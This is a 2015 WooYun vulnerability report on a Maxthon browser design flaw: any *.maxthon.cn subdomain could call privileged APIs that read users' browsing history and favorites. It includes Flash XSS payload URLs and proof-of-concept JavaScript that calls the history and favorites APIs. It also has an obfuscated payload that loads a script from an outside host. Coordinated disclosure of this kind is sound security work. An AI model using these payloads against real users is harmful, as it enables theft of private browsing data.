当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113401

漏洞标题:傲游浏览器设计缺陷可导致读取用户收藏/历史记录等敏感信息

相关厂商:傲游

漏洞作者: 梧桐雨

提交时间:2015-05-11 14:03

修复时间:2015-08-09 15:48

公开时间:2015-08-09 15:48

漏洞类型:远程代码执行

危害等级:高

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-11: 细节已通知厂商并且等待厂商处理中
2015-05-11: 厂商已经确认,细节仅向厂商公开
2015-07-05: 细节向核心白帽子及相关领域专家公开
2015-07-15: 细节向普通白帽子公开
2015-07-25: 细节向实习白帽子公开
2015-08-09: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

设计缺陷导致的一系列问题

详细说明:

傲游浏览器设计之初考虑到用户体验,允许*.maxthon.cn域调用一些特权api,
譬如修改首页:
maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.startpage", "http://wooyun.org");
任意一个*.maxthon.cn 都可以调用上面的api。
除此之外还能通过external.mxCall 安装插件。
但是仅仅如此吗?事实上,我发现除了i.maxthon.cn 能读取历史记录,任意一个*.maxthon.cn都能读取。只要找到对应的xss,就能获取该信息。
当然此处绝对不仅仅是历史记录,还有收藏。这里我给出两个poc的demo,希望傲游浏览器在未来的版本考虑API权限的时候做一些考量,避免任意一个*.maxthon.cn的xss就能读取用户的收藏+历史记录等敏感信息。

漏洞证明:

xss两处,均为flash xss,因为该原因,也不会被浏览器拦截:
http://my.maxthon.cn//public/images/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;alert(1)}};//

1.jpg


http://skin.maxthon.cn//swfupload/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;alert(1)}};//

2.jpg


读取历史记录poc:

321.jpg


http://my.maxthon.cn//public/images/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;alert(JSON.stringify(maxthon.browser.history.HistoryManager.getLastOpenList()));}};//
读取用户收藏poc:
for(var i=0;i<maxthon.browser.favorites.FavManager.getMostVisitNodes().length;i++){
console.log(maxthon.browser.favorites.FavManager.getMostVisitNodes()[i].url_)
}
具体演示url链接:
http://my.maxthon.cn//public/images/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;eval('window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,119,117,116,111,110,103,121,117,46,105,110,102,111,47,109,97,120,116,104,111,110,46,106,115);document.body.appendChild(window.s)')}};//
效果如下:

js.jpg


pic.jpg


55.jpg

修复方案:

修复此处xss。可以采用 http://bbs.open.qq.com/static/image/common/swfupload.swf 此处的swf替换为你们的swf,即可修补xss。
调整策略,避免任意一个子站xss影响到用户收藏夹以及历史记录等敏感信息。

版权声明:转载请注明来源 梧桐雨@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-11 15:46

厂商回复:

多谢报告.

最新状态:

2015-05-12:XSS 已修复

2015-05-12:XSS 已修复


漏洞评价:

评论

  1. 2015-05-11 18:32 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    浏览器系列啊

  2. 2015-05-12 09:13 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    浏览器系列啊

  3. 2015-05-12 11:35 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    你确定修复了?有一个还在。仔细看。你们做事好不认真啊。